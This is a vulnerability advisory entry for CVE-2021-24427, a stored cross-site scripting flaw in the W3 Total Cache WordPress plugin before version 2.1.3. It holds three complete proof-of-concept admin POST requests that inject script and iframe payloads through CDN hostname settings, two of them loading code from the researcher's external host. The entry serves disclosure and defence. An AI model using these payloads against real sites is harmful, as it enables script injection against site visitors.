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Contact

WordPress Plugin Vulnerabilities

W3 Total Cache < 2.1.3 - Authenticated Stored XSS

Description

The plugin did not sanitise or escape some of its CDN settings, allowing high privilege users to use JavaScript in them, which will be output in the page, leading to an authenticated Stored Cross-Site Scripting issue

Proof of Concept

Vulnerable parameter(s): &cdn_cnames[]= (#1), cdn_cnames[]= (#2), cdn_cnames[]= (#3).

CDN Type: Akamai, Amazon CloudFront, AT&T, Cotendo, Generic Mirror, Verizon Digital Media Services (EdgeCast), Amazon CloudFront Over S3, Amazon Simple Storage Service (S3), Amazon Simple Storage Service (S3) Compatible, Microsoft Azure Storage, Self-hosted.

PoC #1 | Authenticated Persistent XSS | CDN > Replace site's hostname with (reserved for CSS):

POST /wp-admin/admin.php?page=w3tc_cdn HTTP/2
Host: example.com
Cookie: [admin cookies]
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 2204

cdn__uploads__enable=0&cdn__uploads__enable=1&cdn__includes__enable=0&cdn__includes__enable=1&cdn__theme__enable=0&cdn__theme__enable=1&cdn__custom__enable=0&cdn__custom__enable=1&cdn__force__rewrite=0&cdn__canonical_header=0&_wpnonce=5f67f11949&_wp_http_referer=%2Fwp-admin%2Fadmin.php%3Fpage%3Dw3tc_cdn%26w3tc_message%3D60a54a0bbb254&cdn__ftp__pasv=0&cdn__ftp__host=&cdn__ftp__type=&cdn__ftp__user=&cdn__ftp__pass=&cdn__ftp__path=&cdn__ftp__ssl=auto&cdn_cnames%5B%5D=%23%27%22%3E%3Cscript%3Ealert%28%29%3B%3C%2Fscript%3E%3Cdiv+x&cdn_cnames%5B%5D=&cdn_cnames%5B%5D=&cdn_cnames%5B%5D=&_wpnonce=5f67f11949&_wp_http_referer=%2Fwp-admin%2Fadmin.php%3Fpage%3Dw3tc_cdn%26w3tc_message%3D60a54a0bbb254&w3tc_default_save_and_flush=Save+Settings+%26+Purge+Caches&cdn__flush_manually=0&cdn__reject__ssl=0&cdn__admin__media_library=0&cdn__cors_header=0&cdn__cors_header=1&cdn__reject__logged_roles=0&cdn__reject__roles=&cdn__reject__uri=&cdn__autoupload__enabled=0&cdn__autoupload__interval=3600&cdn__queue__interval=900&cdn__queue__limit=25&cdn__includes__files=*.css%3B*.js%3B*.gif%3B*.png%3B*.jpg%3B*.xml&cdn__theme__files=*.css%3B*.js%3B*.gif%3B*.png%3B*.jpg%3B*.ico%3B*.ttf%3B*.otf%3B*.woff%3B*.woff2%3B*.less&cdn__import__files=&cdn__custom__files=favicon.ico%0D%0A%7Bwp_content_dir%7D%2Fgallery%2F*%0D%0A%7Bwp_content_dir%7D%2Fuploads%2Favatars%2F*%0D%0A%7Bplugins_dir%7D%2Fwordpress-seo%2Fcss%2Fxml-sitemap.xsl%0D%0A%7Bplugins_dir%7D%2Fwp-minify%2Fmin*%0D%0A%7Bplugins_dir%7D%2F*.js%0D%0A%7Bplugins_dir%7D%2F*.css%0D%0A%7Bplugins_dir%7D%2F*.gif%0D%0A%7Bplugins_dir%7D%2F*.jpg%0D%0A%7Bplugins_dir%7D%2F*.png&cdn__reject__ua=&cdn__reject__files=%7Buploads_dir%7D%2Fwpcf7_captcha%2F*%0D%0A%7Buploads_dir%7D%2Fimagerotator.swf%0D%0A%7Bplugins_dir%7D%2Fwp-fb-autoconnect%2Ffacebook-platform%2Fchannel.html&set_cookie_domain_old=0&set_cookie_domain_new=0&_wpnonce=5f67f11949&_wp_http_referer=%2Fwp-admin%2Fadmin.php%3Fpage%3Dw3tc_cdn%26w3tc_message%3D60a54a0bbb254



PoC #2 | Authenticated Persistent XSS | CDN > Replace site's hostname with (reserved for JS in <head>):

POST /wp-admin/admin.php?page=w3tc_cdn HTTP/2
Host: example.com
Cookie: [admin cookies]
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 2204

cdn__uploads__enable=0&cdn__uploads__enable=1&cdn__includes__enable=0&cdn__includes__enable=1&cdn__theme__enable=0&cdn__theme__enable=1&cdn__custom__enable=0&cdn__custom__enable=1&cdn__force__rewrite=0&cdn__canonical_header=0&_wpnonce=5f67f11949&_wp_http_referer=%2Fwp-admin%2Fadmin.php%3Fpage%3Dw3tc_cdn%26w3tc_message%3D60a54d06077f1&cdn__ftp__pasv=0&cdn__ftp__host=&cdn__ftp__type=&cdn__ftp__user=&cdn__ftp__pass=&cdn__ftp__path=&cdn__ftp__ssl=auto&cdn_cnames%5B%5D=1&cdn_cnames%5B%5D=m0ze.ru%2Fpayload%2Fa.js%27+onload%3D%27alert%2813%29%3B%27+stuff%3D%27&cdn_cnames%5B%5D=&_wpnonce=5f67f11949&_wp_http_referer=%2Fwp-admin%2Fadmin.php%3Fpage%3Dw3tc_cdn%26w3tc_message%3D60a54d06077f1&w3tc_default_save_and_flush=Save+Settings+%26+Purge+Caches&cdn__flush_manually=0&cdn__reject__ssl=0&cdn__admin__media_library=0&cdn__cors_header=0&cdn__cors_header=1&cdn__reject__logged_roles=0&cdn__reject__roles=&cdn__reject__uri=&cdn__autoupload__enabled=0&cdn__autoupload__interval=3600&cdn__queue__interval=900&cdn__queue__limit=25&cdn__includes__files=*.css%3B*.js%3B*.gif%3B*.png%3B*.jpg%3B*.xml&cdn__theme__files=*.css%3B*.js%3B*.gif%3B*.png%3B*.jpg%3B*.ico%3B*.ttf%3B*.otf%3B*.woff%3B*.woff2%3B*.less&cdn__import__files=&cdn__custom__files=favicon.ico%0D%0A%7Bwp_content_dir%7D%2Fgallery%2F*%0D%0A%7Bwp_content_dir%7D%2Fuploads%2Favatars%2F*%0D%0A%7Bplugins_dir%7D%2Fwordpress-seo%2Fcss%2Fxml-sitemap.xsl%0D%0A%7Bplugins_dir%7D%2Fwp-minify%2Fmin*%0D%0A%7Bplugins_dir%7D%2F*.js%0D%0A%7Bplugins_dir%7D%2F*.css%0D%0A%7Bplugins_dir%7D%2F*.gif%0D%0A%7Bplugins_dir%7D%2F*.jpg%0D%0A%7Bplugins_dir%7D%2F*.png&cdn__reject__ua=&cdn__reject__files=%7Buploads_dir%7D%2Fwpcf7_captcha%2F*%0D%0A%7Buploads_dir%7D%2Fimagerotator.swf%0D%0A%7Bplugins_dir%7D%2Fwp-fb-autoconnect%2Ffacebook-platform%2Fchannel.html&set_cookie_domain_old=0&set_cookie_domain_new=0&_wpnonce=5f67f11949&_wp_http_referer=%2Fwp-admin%2Fadmin.php%3Fpage%3Dw3tc_cdn%26w3tc_message%3D60a54d06077f1



PoC #3 | Authenticated Persistent XSS | CDN > Replace site's hostname with (reserved for JS after <body>):

POST /wp-admin/admin.php?page=w3tc_cdn HTTP/2
Host: example.com
Cookie: [admin cookies]
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 2204

cdn__uploads__enable=0&cdn__uploads__enable=1&cdn__includes__enable=0&cdn__includes__enable=1&cdn__theme__enable=0&cdn__theme__enable=1&cdn__custom__enable=0&cdn__custom__enable=1&cdn__force__rewrite=0&cdn__canonical_header=0&_wpnonce=5f67f11949&_wp_http_referer=%2Fwp-admin%2Fadmin.php%3Fpage%3Dw3tc_cdn%26w3tc_message%3D60a54cf6ef099&cdn__ftp__pasv=0&cdn__ftp__host=&cdn__ftp__type=&cdn__ftp__user=&cdn__ftp__pass=&cdn__ftp__path=&cdn__ftp__ssl=auto&cdn_cnames%5B%5D=1&cdn_cnames%5B%5D=2&cdn_cnames%5B%5D=%23%27%22%3E%3Ciframe+src%3Dhttps%3A%2F%2Fm0ze.ru%2Fpayload%2Fxfsii.html%3E%3C%2Fiframe%3E%3Cdiv+x&_wpnonce=5f67f11949&_wp_http_referer=%2Fwp-admin%2Fadmin.php%3Fpage%3Dw3tc_cdn%26w3tc_message%3D60a54cf6ef099&w3tc_default_save_and_flush=Save+Settings+%26+Purge+Caches&cdn__flush_manually=0&cdn__reject__ssl=0&cdn__admin__media_library=0&cdn__cors_header=0&cdn__cors_header=1&cdn__reject__logged_roles=0&cdn__reject__roles=&cdn__reject__uri=&cdn__autoupload__enabled=0&cdn__autoupload__interval=3600&cdn__queue__interval=900&cdn__queue__limit=25&cdn__includes__files=*.css%3B*.js%3B*.gif%3B*.png%3B*.jpg%3B*.xml&cdn__theme__files=*.css%3B*.js%3B*.gif%3B*.png%3B*.jpg%3B*.ico%3B*.ttf%3B*.otf%3B*.woff%3B*.woff2%3B*.less&cdn__import__files=&cdn__custom__files=favicon.ico%0D%0A%7Bwp_content_dir%7D%2Fgallery%2F*%0D%0A%7Bwp_content_dir%7D%2Fuploads%2Favatars%2F*%0D%0A%7Bplugins_dir%7D%2Fwordpress-seo%2Fcss%2Fxml-sitemap.xsl%0D%0A%7Bplugins_dir%7D%2Fwp-minify%2Fmin*%0D%0A%7Bplugins_dir%7D%2F*.js%0D%0A%7Bplugins_dir%7D%2F*.css%0D%0A%7Bplugins_dir%7D%2F*.gif%0D%0A%7Bplugins_dir%7D%2F*.jpg%0D%0A%7Bplugins_dir%7D%2F*.png&cdn__reject__ua=&cdn__reject__files=%7Buploads_dir%7D%2Fwpcf7_captcha%2F*%0D%0A%7Buploads_dir%7D%2Fimagerotator.swf%0D%0A%7Bplugins_dir%7D%2Fwp-fb-autoconnect%2Ffacebook-platform%2Fchannel.html&set_cookie_domain_old=0&set_cookie_domain_new=0&_wpnonce=5f67f11949&_wp_http_referer=%2Fwp-admin%2Fadmin.php%3Fpage%3Dw3tc_cdn%26w3tc_message%3D60a54cf6ef099

 

Affects Plugins

w3-total-cache
Fixed in version 2.1.3

References

CVE
CVE-2021-24427
URL
https://m0ze.ru/vulnerability/[2021-04-25]-[WordPress]-[CWE-79]-W3-Total-Cache-WordPress-Plugin-v2.1.2.txt

Classification

Type

XSS

OWASP top 10
A7: Cross-Site Scripting (XSS)
CWE
CWE-79

Miscellaneous

Original Researcher

m0ze

Submitter

m0ze

Submitter website
https://m0ze.ru
Submitter twitter
vladm0ze
Verified

Yes

WPVDB ID
5da5ce9a-82a6-404f-8dec-795d7905b3f9

Timeline

Publicly Published

2021-06-16 (about 1 years ago)

Added

2021-06-16 (about 1 years ago)

Last Updated

2021-06-25 (about 1 years ago)

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